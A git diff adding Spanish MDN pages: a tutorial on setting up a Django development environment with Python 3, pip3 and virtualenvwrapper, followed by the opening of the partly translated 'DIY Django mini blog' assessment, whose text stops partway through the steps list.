+<p>Django se ejecuta por encima de Python, y puede uarse tanto con Python 2 o con Python 3 (o ambos). Cuando estés seleccionando una versión deberías tener en cuenta que:</p>
+
+<ul>
+ <li>Python 2 es una versión tradicional del lenguaje que no va a tener más características nuevas pero que tiene disponible para los desarrolladores, un enorme repositorio de bibliotecas de terceros de alta calidad (algunas de las cuales no están disponibles en Python 3).</li>
+ <li>Python 3 es una actualización de Python 2 que, aunque similar, es más consistente y fácil de usar. Python 3 también es el futuro de Python, y continúa su evolución.</li>
+ <li>También es posible soportar ambas versiones usando bibliotecas (ej. <a href="http://pythonhosted.org/six/">six</a>), aunque no sin un esfuerzo adicional de desarrollo.</li>
+</ul>
+
+<ul>
+</ul>
+
+<div class="note">
+<p><strong>Nota</strong>: Historicamente Python 2 era la única elección realista, porque muy pocas bibliotecas de terceros estaban disponibles para Python 3. La tendencia actual es que la mayoría de paquetes nuevos y populares del <a href="https://pypi.python.org/pypi">Python Package Index</a> (PyPi) soporten ambas versiones de Python. Aunque todavía haya muchos paquetes que sólo están disponibles para Python 2, elegir Python 3 es actualmente una opción muy popular.</p>
+</div>
+
+<p>Te recomendamos que uses la última versión de Python 3 a menos que el sitio dependa de bibliotecas de terceros que sólo están disponibles para Python 2.</p>
+
+<p>Este artículo te explicará como instalar un entorno para Python 3 (el ajuste equivalente para Python 2 sería muy similar).</p>
+
+<h4 id="¿Dónde_puedo_descagarme_Django">¿Dónde puedo descagarme Django?</h4>
+
+<p>Hay tres lugares para descargar Django:</p>
+
+<ul>
+ <li>El Python Package Repository (PyPi), usando la herramienta <em>pip</em>. Este es el mejor modo de obtener la última veersión estable de Django.</li>
+ <li>Usar una versión del gestor de paquetes de tu computadora. Las distribuciones de Django que se empaquetan con los sistemas operativos ofrecen un mecanismo de instalación ya familiar. Ten en cuenta sin embargo que la versión empaquetada puede ser bastante antigua, y sólo puede ser instalada en el entorno de Python del sistema (que puede no ser el que tu quieras).</li>
+ <li>Instalar desde la fuente. Puedes obtener y descargar la versión con el último grito de Python partiendo de las fuentes. Esto no es lo recomendable para principiantes, pero es necesario cuando estás listo para empezar a contribuir codificando el propio Django.</li>
+</ul>
+
+<p>Este artículo te muestra como instalar Django desde PyPi, para conseguir la última versión estable.</p>
+
+<h4 id="¿Qué_base_de_datos">¿Qué base de datos?</h4>
+
+<p>Django soporta cuatro bases de datos importantes (PostgreSQL, MySQL, Oracle y SQLite), y hay bibliotecas comunitarias que proporcionan varios niveles de soporte para otras bases de datos populares SQL y NOSQL. Te recomendamos que elijas la misma base de datos tanto para la producción como para el desarrollo (aunque Django abstrae muchas de las diferencias entre las bases usando su Object-Relational Mapper (ORM), hay todavía <a href="https://docs.djangoproject.com/en/1.10/ref/databases/">problemas potenciales</a> que es mejor evitar).</p>
+
+<p>Durante este artículo (y la mayoría de este módulo) usaremos la base de datos <em>SQLite</em>, que almacena sus datos en un fichero. SQLite está pensado para ser usado como base ligera y no puede soportar un alto nivel de concurrencia. Es sin embargo una excelente elección para aplicaciones que son principalmente de sólo lectura.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Django está configurado para usar SQLite por defecto cuando comienzas tu proyecto de sitio web usando las herramientas estándard (<em>django-admin</em>). Es una gran elección cuando estás empezando porque no requiere configuración o puesta en marcha adicional. </p>
+</div>
+
+<h4 id="¿Instalar_Python_en_un_entorno_de_sistema_o_virtual">¿Instalar Python en un entorno de sistema o virtual?</h4>
+
+<p>Cuando instalas Python3 obtienes un único entorno global que es compartido con todo el código Python3. Si bien puedes instalar los paquetes que te gusten en el entorno, sólo puedes instalar al mismo tiempo una versión en particular de cada paquete.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Las aplicaciones Python instaladas en el entorno global pueden entrar en conflicto potencialmente unas con otras (ej. si dependen de diferentes versiones del mismo paquete). </p>
+</div>
+
+<p>Si instalas Django dentro del entorno por defecto/global sólo podrás apuntar a una sóla versión de Django en la computadora. Esto puede ser un problema si quieres crear nuevos sitios (usando la última versión de Django) pero manteniendo los sitios web que dependen de versiones más antiguas.</p>
+
+<div class="note"></div>
+
+<p>Como resultado, los desarrolladores experimentados de Python/Django normalmente ejecutan las aplicaciones Python dentro de <em>entornos virtuales Python</em> independientes. De esta forma se habilitan múltiples entornos Django diferentes en la misma computadora. !El mismo equipo de desarrollo Django recomienda que uses entornos Python virtuales!</p>
+
+<div class="note"></div>
+
+<p>Este módulo da por supuesto que has instalado Django en un entorno virtual, y te mostraremos cómo hacerlo más abajo.</p>
+
+<h2 id="Instalación_de_Python_3">Instalación de Python 3</h2>
+
+<p>Para poder usar Django tendrás que instalar Python en tu sistema operativo. Si estás usando <em>Python 3</em> necesitarás la herramienta <a href="https://pypi.python.org/pypi">Python Package Index</a> — <em>pip3</em> — que se usa para gestionar (instalar, actualizar y eliminar) los paquetes/bibliotecas Python usados por Django y tus otras aplicaciones Python.</p>
+
+<p>Esta sección explica brevemente como puedes comprobar qué versiones de Python están presentes, e instalar nuevas versiones cuando lo necesites, en Ubuntu Linux 16.04, Mac OS X, y Windows 10.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Dependiendo de tu plataforma, podrías también ser capaz de instalar Python/pip desde la propia aplicación de gestión de paquetes de tu sistema o vía otros mecanismos. Para la mayoría de las plataformas puedes descargar los ficheros de instalación requeridos desde <a href="https://www.python.org/downloads/">https://www.python.org/downloads/</a> e instalarlos usando el método apropiado específico de la plataforma.</p>
+</div>
+
+<h3 id="Ubuntu_16.04">Ubuntu 16.04</h3>
+
+<p>Ubuntu Linux incluye Python 3 por defecto. Puedes confirmarlo ejecutando el siguiente comando en una terminal:</p>
+
+<pre class="brush: bash"><span style="line-height: 1.5;">python3 -V
+ Python 3.5.2</span></pre>
+
+<p>Sin embargo la herramienta Python Package Index que necesitarás para instalar paquetes de Python 3 (incluido Django) <strong>No</strong> está disponible por defecto. Puedes instalar pip3 en un terminal bash usando:</p>
+
+<pre class="brush: bash">sudo apt-get install python3-pip
+</pre>
+
+<h3 id="Mac_OS_X">Mac OS X</h3>
+
+<p>Mac OS X "El Capitan" no incluye Python 3. Puedes confirmarlo ejecutando los siguientes comandos en un terminal bash:</p>
+
+<pre class="brush: bash"><span style="line-height: 1.5;">python3 -V
+ </span>-bash: python3: command not found</pre>
+
+<p>Puedes instalar fácilmente Python 3 (junto con la herramienta <em>pip3</em>) desde <a href="https://www.python.org/">python.org</a>:</p>
+
+<ol>
+ <li>Descarga el instalador requerido:
+  <ol>
+   <li>Vete a <a href="https://www.python.org/downloads/">https://www.python.org/downloads/</a></li>
+   <li>Selecciona el botón <strong>Descarga Python 3.5.2</strong> (el número exacto de versión menor puede ser diferente).</li>
+  </ol>
+ </li>
+ <li>Localiza el fichero usando <em>Finder</em>, haz doble-click sobre el fichero del paquete. Pincha siguiente en las ventanas de instalación.</li>
+</ol>
+
+<p>Puedes confirmar ahora una instalación satisfactoria comprobando <em>Python 3</em> como se muestra a continuación:</p>
+
+<pre class="brush: bash"><span style="line-height: 1.5;">python3 -V
+ Python 3.5.2</span>0
+</pre>
+
+<p>Puedes igualmente comprobar que <em>pip3</em> está instalado listando los paquetes disponibles:</p>
+
+<pre class="brush: bash">pip3 list</pre>
+
+<h3 id="Windows_10">Windows 10</h3>
+
+<p>Windows no incluye Python por defecto, pero puedes instalarlo fácilmente (junto con la herramienta <em>pip3</em>) desde <a href="https://www.python.org/">python.org</a>:</p>
+
+<ol>
+ <li>Descarga el instalador requerido:
+  <ol>
+   <li>Vete a <a href="https://www.python.org/downloads/">https://www.python.org/downloads/</a></li>
+   <li>Selecciona el botón de <strong>Descarga Python 3.6.3</strong> (la versión menor exacta puede ser diferente).</li>
+  </ol>
+ </li>
+ <li>Instala Python haciendo doble-click en el fichero descargado y pulsando siguiente en las ventanas de instalación</li>
+</ol>
+
+<p>Puedes verificar a continuación que Python 3 se instaló correctamente entrando el siguiente texto en una ventana de comandos:</p>
+
+<pre class="brush: bash"><span style="line-height: 1.5;">py -3 -V
+ Python 3.6.3</span>
+</pre>
+
+<p>El instalador de Windows incorpora <em>pip3</em> (el gestor de paquetes de Python) por defecto. Puedes listar paquetes como se muestra a continuación:</p>
+
+<pre class="brush: bash"><span style="line-height: 1.5;">pip3 list</span>
+</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: El instalador debería poner en marcha todo lo que necesitas para que el comando de arriba funcione. Si por el contrario obtienes un mensaje de que Python no puede ser encontrado, puede que necesites añadirlo al path de tu sistema.</p>
+</div>
+
+<h2 id="Uso_de_Django_dentro_de_un_entorno_virtual_de_Python">Uso de Django dentro de un entorno virtual de Python</h2>
+
+<p>Las bibliotecas que usaremos para crear nuestros entornos virtuales están en <a href="https://virtualenvwrapper.readthedocs.io/en/latest/index.html">virtualenvwrapper</a> (Linux and Mac OS X) y <a href="https://pypi.python.org/pypi/virtualenvwrapper-win">virtualenvwrapper-win</a> (Windows), que utilizan a su vez la herramienta <a href="https://developer.mozilla.org/en-US/docs/Python/Virtualenv">virtualenv</a>. Las herramientas wrapper crean una interfaz consistente para la gestión de interfaces en todas las plataformas.</p>
+
+<h3 id="Instalación_del_software_del_entorno_virtual">Instalación del software del entorno virtual</h3>
+
+<h4 id="Puesta_en_marcha_del_entorno_virtual_en_Ubuntu">Puesta en marcha del entorno virtual en Ubuntu</h4>
+
+<p>Después de instalar Python y pip puedes instalar <em>virtualenvwrapper</em> (que incluye <em>virtualenv</em>) usando <em>pip3</em> como se muestra.</p>
+
+<pre><code>sudo pip3 install virtualenvwrapper</code></pre>
+
+<p>A continuación añade las siguientes líneas al final del fichero de inicio de tu shell (éste es un fichero oculto llamado <strong>.bashrc</strong> que se encuentra en tu directorio de inicio del usuario). Ésto ajusta la localización de donde deberían vivir los entornos virtuales, la localización de los directorios de tus proyectos de desarrollo, y la localización del script instalado con este paquete:</p>
+
+<pre><code>export WORKON_HOME=$HOME/.virtualenvs
+export VIRTUALENVWRAPPER_PYTHON=/usr/bin/python3
+export PROJECT_HOME=$HOME/Devel
+source /usr/local/bin/virtualenvwrapper.sh</code></pre>
+
+<p>A continuación volver a recargar el fichero de inicio ejecutando el siguiente comando en el terminal:</p>
+
+<pre><code>source ~/.bashrc</code></pre>
+
+<p>En este punto deberías ver un puñado de scripts empezando a ejecutarse como se muestra a continuación:</p>
+
+<pre><code>virtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/premkproject
+virtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/postmkproject
+...
+virtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/preactivate
+virtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/postactivate
+virtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/get_env_details</code></pre>
+
+<p>Ahora puedes crear un nuevo entorno virtual con el comando <code>mkvirtualenv</code>.</p>
+
+<h4 id="Puesta_en_marcha_del_entorno_virtual_en_Mac_OS_X">Puesta en marcha del entorno virtual en Mac OS X</h4>
+
+<p>El ajuste de virtualenvwrapper en Mac OS X es casi idéntico a como es en Ubuntu. </p>
+
+<p>Instalar <em>virtualenvwrapper</em> (y <em>virtualenv</em> incluido en el paquete) usando <em>pip</em> como se muestra a continuación.</p>
+
+<pre><code>sudo pip3 install virtualenvwrapper</code></pre>
+
+<p>A continuación añadir las siguientes líneas al final del fichero de inicio de tu shell. Son las mismas líneas que para Ubuntu, pero el fichero de inicio se llama de forma diferente <strong>.bash_profile</strong> y está oculto en tu directorio de inicio.</p>
+
+<pre><code>export WORKON_HOME=$HOME/.virtualenvs
+export VIRTUALENVWRAPPER_PYTHON=/usr/bin/python3
+export PROJECT_HOME=$HOME/Devel
+source /usr/local/bin/virtualenvwrapper.sh</code></pre>
+
+<p><strong>Nota</strong>: Si no puedes encontrar <strong>.bash-profile</strong> para editar en el finder, puedes también abrirlo usando nano.</p>
+
+<p>Los comandos parecen algo como lo siguiente.</p>
+
+<pre><code>cd ~  # Navegar a mi directorio de inicio
+ls -la # Listar el contenido del directorio. Deberias ver .bash_profile
+nano .bash_profile # Abrir el fichero en el editor de texto nano, en el terminal
+# Avanzar hast el final del fichero, y copiar y pegar las lineas de arrriba
+# Usar Ctrl+X para salir de nano, Elegir Y para guardar el fichero.</code></pre>
+
+<p>A continuación recargar el fichero de inicio realizando la siguiente llamada en el terminal:</p>
+
+<pre><code>source ~/.bash_profile</code></pre>
+
+<p>En este punto deberías ver un puñado de scripts empezando a ejecutarse (los mismos scripts que para la instalación en Ubuntu). Deberías ser ahora capaz de crear un nuevo entorno virtual con el comado <code>mkvirtualenv</code>.</p>
+
+<h4 id="Puesta_en_marcha_del_entorno_virtual_en_Windows_10">Puesta en marcha del entorno virtual en Windows 10</h4>
+
+<p>Instalar <a href="https://pypi.python.org/pypi/virtualenvwrapper-win">virtualenvwrapper-win</a> es incluso más simple que poner en marcha <em>virtualenvwrapper</em> porque no necesitas configurar donde almacena la herramienta la información del entorno (hay un valor por defecto). Todo lo que necesitas hacer es ejecutar el siguiente comando en la consola de comandos en línea:</p>
+
+<pre><code>pip3 install virtualenvwrapper-win</code></pre>
+
+<p>Y a continuación ya puedes crear un nuevo entorno virtual con <code>mkvirtualenv</code></p>
+
+<h3 id="Creación_de_un_entorno_virtual">Creación de un entorno virtual</h3>
+
+<p>Una vez que hayas instalado <em>virtualenvwrapper</em> o <em>virtualenvwrapper-win</em> trabajar con entornos virtuales es muy similar en todas las plataformas.</p>
+
+<p>Ahora puedes crear un nuevo entorno virtual con el comando <code>mkvirtualenv</code>. A medida que se ejecuta este comando verás que se va poniendo en marcha el entorno (lo que verás es ligeramente específico de la plataforma). Cuando se completa el comando el nuevo entorno virtual estará activo — podrás comprobarlo porque el comienzo del prompt será el nombre del entorno entre paréntesis (como se muestra abajo).</p>
+
+<pre><code>$ mkvirtualenv my_django_environment
+
+Running virtualenv with interpreter /usr/bin/python3
+...
+virtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/t_env7/bin/get_env_details
+(my_django_environment) ubuntu@ubuntu:~$</code>
+</pre>
+
+<p>Una vez que estás dentro del entorno virutal puedes instalar Django e iniciar el desarrollo.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: De ahora en adelante en este artículo (y por ende en el módulo) asume por favor que todos los comandos se ejecutan en un entorno virtual Python como el que acabamos de poner en marcha arriba.</p>
+</div>
+
+<h3 id="Uso_de_un_entorno_virtual">Uso de un entorno virtual</h3>
+
+<p>Hay sólo otros pocos comandos útiles que deberías conocer (hay más en la documentación de la herramienta, pero éstos son los que usarás de forma habitual:</p>
+
+<ul>
+ <li><code>deactivate</code> — Salir del entorno virutal Python actual</li>
+ <li><code>workon</code> — Listar los entornos virtuales disponibles</li>
+ <li><code>workon name_of_environment</code> — Activar el entorno virtual Python especificado</li>
+ <li><code>rmvirtualenv name_of_environment</code> — Borrar el entorno especificado.</li>
+</ul>
+
+
+
+<h2 id="Instalación_de_Django">Instalación de Django</h2>
+
+<p>Una vez que has creado el entorno virtual, y realizado la llamada <code>workon</code>  para entrar en él, puedes usar <em>pip3 </em>para instalar Django. </p>
+
+<pre class="brush: bash">pip3 install django
+</pre>
+
+<p>Puedes comprobar que está instalado Django ejecutando el siguiente comando (esto sólo comprueba que Python puede encontrar el módulo Django):</p>
+
+<pre class="brush: bash"># Linux/Mac OS X
+python3 -m django --version
+ 1.11.7
+
+# Windows
+py -3 -m django --version
+ 1.11.7
+</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: En Windows se lanzan scripts <em>Python 3</em> añadiendo como prefijo del comando con <code>py -3</code>, mientras que en Linux/Mac OSX, el comando es <code>python3</code>.</p>
+</div>
+
+<div class="warning">
+<p><strong>Importante</strong>: El resto de este <strong>modulo </strong>usa, para invocar Python 3, el comando <em>Linux</em> (<code>python3</code>) . Si estás trabajando en <em>Windows   </em>simplemente reemplazar este prefijo con: <code>py -3</code></p>
+</div>
+
+<h2 id="Comprobación_de_tu_instalación">Comprobación de tu instalación</h2>
+
+<p>La prueba de arriba funciona, pero no es muy divertida. Una comprobación más interesante es crear un esqueleto de proyecto y ver si funciona. Para hacer ésto, navega primero en tu consola de comandos/terminal a donde quieras almacenar tus aplicaciones Django. Crea una carpeta para la comprobación de tu sitio y navega a ella.</p>
+
+<pre class="brush: bash">mkdir django_test
+cd django_test
+</pre>
+
+<p>Puedes crear a continuación un nuevo esqueleto de sitio llamado "<em>mytestsite</em>"  usando la herramienta <strong>django-admin</strong> como se muestra a continuación. Después de crear el sitio puedes navegar a la carpeta donde encontrarás el script principal para la gestión de proyectos, llamado <strong>manage.py</strong>.</p>
+
+<pre class="brush: bash">django-admin startproject mytestsite
+cd mytestsite</pre>
+
+<p>Podemos arrancar el <em>servidor web de desarrollo</em> desde esta carpeta usando <strong>manage.py</strong> y el comando <code>runserver</code>, como se muestra.</p>
+
+<pre class="brush: bash">$ <strong>python3 manage.py runserver </strong>
+Performing system checks...
+
+System check identified no issues (0 silenced).
+
+You have 13 unapplied migration(s). Your project may not work properly until you apply the migrations for app(s): admin, auth, contenttypes, sessions.
+Run 'python manage.py migrate' to apply them.
+
+September 19, 2016 - 23:31:14
+Django version 1.10.1, using settings 'mysite.settings'
+Starting development server at http://127.0.0.1:8000/
+Quit the server with CONTROL-C.
+</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: El comando anterior muestra el comando Linux/Mac OS X. En este punto ¡puedes ignorar las advertencias sobre "13 unapplied migration(s)"!</p>
+</div>
+
+<p>Una vez que tengas funcionando el servidor puedes ver el sitio navegando a la siguiente URL en tu explorador web local : <code>http://127.0.0.1:8000/</code>. Deberías ver un sitio parecido a este:</p>
+
+<p><img alt="The home page of the skeleton Django app." src="https://mdn.mozillademos.org/files/13893/Django_Skeleton_Website_Homepage.png" style="border-style: solid; border-width: 1px; display: block; height: 544px; margin: 0px auto; width: 865px;"></p>
+
+<ul>
+</ul>
+
+<h2 id="Sumario">Sumario</h2>
+
+<p>Ahora tienes levantado y funcionando en tu computadora tu entorno de desarrollo Django .</p>
+
+<p>En la sección de pruebas viste brevemente cómo crear un nuevo sitio web Django usando <code>django-admin startproject</code>, y hacerlo funcionar en tu explorador usando el servidor web de desarrollo (<code><strong>python3 manage.py runserver</strong></code>).</p>
+
+<p>En el siguiente artículo expandimos este proceso, construyendo una aplicación web simple pero completa.</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="https://docs.djangoproject.com/es/2.0/intro/install/">Guía de instalación rápida</a> (Django docs)</li>
+ <li><a href="https://docs.djangoproject.com/es/2.0/topics/install/">Cómo instalar Django — Guía Completa</a> (Django docs) - incluye información sobre cómo borrar Django</li>
+ <li><a href="https://docs.djangoproject.com/es/2.0/howto/windows/">Cómo instalar Django en Windows</a> (Django docs)</li>
+</ul>
+
+<p>{{PreviousMenuNext("Learn/Server-side/Django/Introduction", "Learn/Server-side/Django/Tutorial_local_library_website", "Learn/Server-side/Django")}}</p>
+
+<h2 id="En_este_módulo">En este módulo</h2>
+
+<ul>
+ <li><a href="/es/docs/Learn/Server-side/Django/Introducción">Introducción a Django</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/development_environment">Configurando un entorno de desarrollo Django</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Tutorial_local_library_website">Tutorial de Django: El sito web de la Biblioteca Local</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/skeleton_website">Tutorial de Django Parte 2: Creando el esqueleto de un sitio web</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Models">Tutorial de Django Parte 3: Usando modelos</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Admin_site">Tutorial de Django Parte 4: Sitio de administración de Django</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Home_page">Tutorial de Django Parte 5: Creando nuestra página de inicio</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Generic_views">Tutorial de Django Parte 6: Listas genéricas y vistas de detalle</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Sessions">Tutorial de Django Parte 7: Framework de sesiones</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Authentication">Tutorial de Django Parte 8: Autenticación de usuarios y permisos</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Forms">Tutorial de Django Parte 9: Trabajando con formularios</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Testing">Tutorial de Django Parte 10: Probando una aplicación web de Django</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Deployment">Tutorial de Django Parte 11: Poniendo Django en producción</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/web_application_security">Seguridad en aplicaciones web Django</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/django_assessment_blog">DIY Django mini blog</a></li>
+</ul>
diff --git a/files/es/learn/server-side/django/django_assessment_blog/index.html b/files/es/learn/server-side/django/django_assessment_blog/index.html
new file mode 100644
index 0000000000..cb5ac7ad88
--- /dev/null
+++ b/files/es/learn/server-side/django/django_assessment_blog/index.html
@@ -0,0 +1,307 @@
+---
+title: 'Evaluación: DIY Django mini blog'
+slug: Learn/Server-side/Django/django_assessment_blog
+translation_of: Learn/Server-side/Django/django_assessment_blog
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenu("Learn/Server-side/Django/web_application_security", "Learn/Server-side/Django")}}</div>
+
+<p class="summary">En esta evaluación usarás el conocimiento de Django que has adquirido en el módulo <a href="/es/docs/Learn/Server-side/Django" style="font-size: 1.25rem;">Framework Web Django (Python)</a> para crear un blog muy básico<span style="font-size: 1.25rem;">.</span></p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Requisitos Previos:</th>
+   <td>Before attempting this assessment you should have already worked through all the articles in this module.</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Comprender los fundamentos de Django , incluidos las configuraciones de URL , modelos, vistas, formularios y  templates.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Resumen_del_proyecto">Resumen del proyecto</h2>
+
+<p>Las paginas que necesitan ser mostradas, sus URLs, y otros requisitos son listados debajo: </p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Pagina</th>
+   <th scope="col">URL</th>
+   <th scope="col">Requisitos</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>Home page</td>
+   <td><code>/</code> and <code>/blog/</code></td>
+   <td>Una pagina inicial que describa el sitio</td>
+  </tr>
+  <tr>
+   <td>Lista de todos las publicaciones del blog</td>
+   <td><code>/blog/blogs/</code></td>
+   <td>
+    <p>Lista de todos las publicaciones del blog:</p>
+
+    <ul>
+     <li>Accessible to all users from a sidebar link.</li>
+     <li>List sorted by post date (newest to oldest).</li>
+     <li>List paginated in groups of 5 articles.</li>
+     <li>List items display the blog title, post date, and author.</li>
+     <li>Blog post names are linked to blog detail pages.</li>
+     <li>Blogger (author names) are linked to blog author detail pages.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <td>Blog autor (blogger) pagina de detalles</td>
+   <td><code>/blog/blogger/<em>&lt;author-id&gt;</em></code></td>
+   <td>
+    <p>Information for a specified author (by id) and list of their blog posts:</p>
+
+    <ul>
+     <li>Accessible to all users from author links in blog posts etc.</li>
+     <li>Contains some biographical information about the blogger/author.</li>
+     <li>List sorted by post date (newest to oldest).</li>
+     <li>Not paginated.</li>
+     <li>List items display just the blog post name and post date.</li>
+     <li>Blog post names are linked to blog detail pages.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <td>Blog post detail page</td>
+   <td><code>/blog/<em>&lt;blog-id&gt;</em></code></td>
+   <td>
+    <p>Blog post details.</p>
+
+    <ul>
+     <li>Accessible to all users from blog post lists.</li>
+     <li>Page contains the blog post: name, author, post date, and content.</li>
+     <li>Comments for the blog post should be displayed at bottom.</li>
+     <li>Comments should be sorted in order: oldest to most recent.</li>
+     <li>Contains link to add comments at end for logged in users (see Comment form page)</li>
+     <li>Blog posts and comments need only display plain text. There is no need to support any sort of HTML markup (e.g. links, images, bold/italic, etc).</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <td>List of all bloggers</td>
+   <td><code>/blog/bloggers/</code></td>
+   <td>
+    <p>List of bloggers on system:</p>
+
+    <ul>
+     <li>Accessible to all users from site sidebar</li>
+     <li>Blogger names are linked to Blog author detail pages.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <td>Comment form page</td>
+   <td><code>/blog/<em>&lt;blog-id&gt;</em>/create</code></td>
+   <td>
+    <p>Create comment for blog post:</p>
+
+    <ul>
+     <li>Accessible to logged-in users (only) from link at bottom of blog post detail pages.</li>
+     <li>Displays form with description for entering comments (post date and blog is not editable).</li>
+     <li>After a comment has been posted, the page will redirect back to the associated blog post page.</li>
+     <li>Users cannot edit or delete their posts.</li>
+     <li>Logged out users will be directed to the login page to log in, before they can add comments. After logging in, they will be redirected back to the blog page they wanted to comment on.</li>
+     <li>Comment pages should include the name/link to the blogpost being commented on.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <td>User authentication pages</td>
+   <td><code>/accounts/<em>&lt;standard urls&gt;</em></code></td>
+   <td>
+    <p>Standard Django authentication pages for logging in, out and setting the password:</p>
+
+    <ul>
+     <li>Login/out should be accessible via sidebar links.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <td>Admin site</td>
+   <td><code>/admin/<em>&lt;standard urls&gt;</em></code></td>
+   <td>
+    <p>Admin site should be enabled to allow create/edit/delete of blog posts, blog authors and blog comments (this is the mechanism for bloggers to create new blog posts):</p>
+
+    <ul>
+     <li>Admin site blog posts records should display the list of associated comments inline (below each blog post).</li>
+     <li>Comment names in the Admin site are created by truncating the comment description to 75 characters.</li>
+     <li>Other types of records can use basic registration.</li>
+    </ul>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>In addition you should write some basic tests to verify:</p>
+
+<ul>
+ <li>All model fields have the correct label and length.</li>
+ <li>All models have the expected object name (e.g.<code> __str__()</code> returns the expected value).</li>
+ <li>Models have the expected URL for individual Blog and Comment records (e.g. <code>get_absolute_url()</code> returns the expected URL).</li>
+ <li>The BlogListView (all-blog page) is accessible at the expected location (e.g. /blog/blogs)</li>
+ <li>The BlogListView (all-blog page) is accessible at the expected named url (e.g. 'blogs')</li>
+ <li>The BlogListView (all-blog page) uses the expected template (e.g. the default)</li>
+ <li>The BlogListView paginates records by 5 (at least on the first page)</li>
+</ul>
+
+<div class="note">
+<p><strong>Note</strong>: There are of course many other tests you can run. Use your discretion, but we'll expect you to do at least the tests above.</p>
+</div>
+
+<p>The following section shows <a href="#Screenshots">screenshots</a> of a site that implements the requirements above.</p>
+
+<h2 id="Screenshots">Screenshots</h2>
+
+<p>The following screenshot provide an example of what the finished program should output.</p>
+
+<h3 id="List_of_all_blog_posts">List of all blog posts</h3>
+
+<p>This displays the list of all blog posts (accessible from the "All blogs" link in the sidebar). Things to note:</p>
+
+<ul>
+ <li>The sidebar also lists the logged in user.</li>
+ <li>Individual blog posts and bloggers are accessible as links in the page.</li>
+ <li>Pagination is enabled (in groups of 5)</li>
+ <li>Ordering is newest to oldest.</li>
+</ul>
+
+<p><img alt="List of all blogs" src="https://mdn.mozillademos.org/files/14319/diyblog_allblogs.png" style="border-style: solid; border-width: 1px; display: block; height: 363px; margin: 0px auto; width: 986px;"></p>
+
+<h3 id="List_of_all_bloggers">List of all bloggers</h3>
+
+<p>This provides links to all bloggers, as linked from the "All bloggers" link in the sidebar. In this case we can see from the sidebar that no user is logged in.</p>
+
+<p><img alt="List of all bloggers" src="https://mdn.mozillademos.org/files/14321/diyblog_blog_allbloggers.png" style="border-style: solid; border-width: 1px; display: block; height: 256px; margin: 0px auto; width: 493px;"></p>
+
+<h3 id="Blog_detail_page">Blog detail page</h3>
+
+<p>This shows the detail page for a particular blog.</p>
+
+<p><img alt="Blog detail with add comment link" src="https://mdn.mozillademos.org/files/14323/diyblog_blog_detail_add_comment.png" style="border-style: solid; border-width: 1px; display: block; height: 640px; margin: 0px auto; width: 986px;"></p>
+
+<p>Note that the comments have a date <em>and</em> time, and are ordered from oldest to newest (opposite of blog ordering). At the end we have a link for accessing the form to add a new comment. If a user is not logged in we'd instead see a suggestion to log in.</p>
+
+<p><img alt="Comment link when not logged in" src="https://mdn.mozillademos.org/files/14325/diyblog_blog_detail_not_logged_in.png" style="border-style: solid; border-width: 1px; display: block; height: 129px; margin: 0px auto; width: 646px;"></p>
+
+<h3 id="Add_comment_form">Add comment form</h3>
+
+<p>This is the form to add comments. Note that we're logged in. When this succeeds we should be taken back to the associated blog post page.</p>
+
+<p><img alt="Add comment form" src="https://mdn.mozillademos.org/files/14329/diyblog_comment_form.png" style="border-style: solid; border-width: 1px; display: block; height: 385px; margin: 0px auto; width: 778px;"></p>
+
+<h3 id="Author_bio">Author bio</h3>
+
+<p>This displays bio information for a blogger along with their blog posts list.</p>
+
+<p><img alt="Blogger detail page" src="https://mdn.mozillademos.org/files/14327/diyblog_blogger_detail.png" style="border-style: solid; border-width: 1px; display: block; height: 379px; margin: 0px auto; width: 982px;"></p>
+
+<h2 id="Steps_to_complete">Steps to complete</h2>
+
+<p>The following sections describe what you need to do.</p>
+
+<ol>
+ <li>Create a skeleton project and web application for the site (as described in <a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">Django Tutorial Part 2: Creating a skeleton website</a>). You might use 'diyblog' for the project name and 'blog' for the application name.</li>
+ <li>Create models for the Blog posts, Comments, and any other objects needed. When thinking about your design, remember:
+  <ul>
+   <li>Each comment will have only one blog, but a blog may have many comments.</li>
+   <li>Blog posts and comments must be sorted by post date.</li>
+   <li>Not every user will necessarily be a blog author though any user may be a commenter.</li>
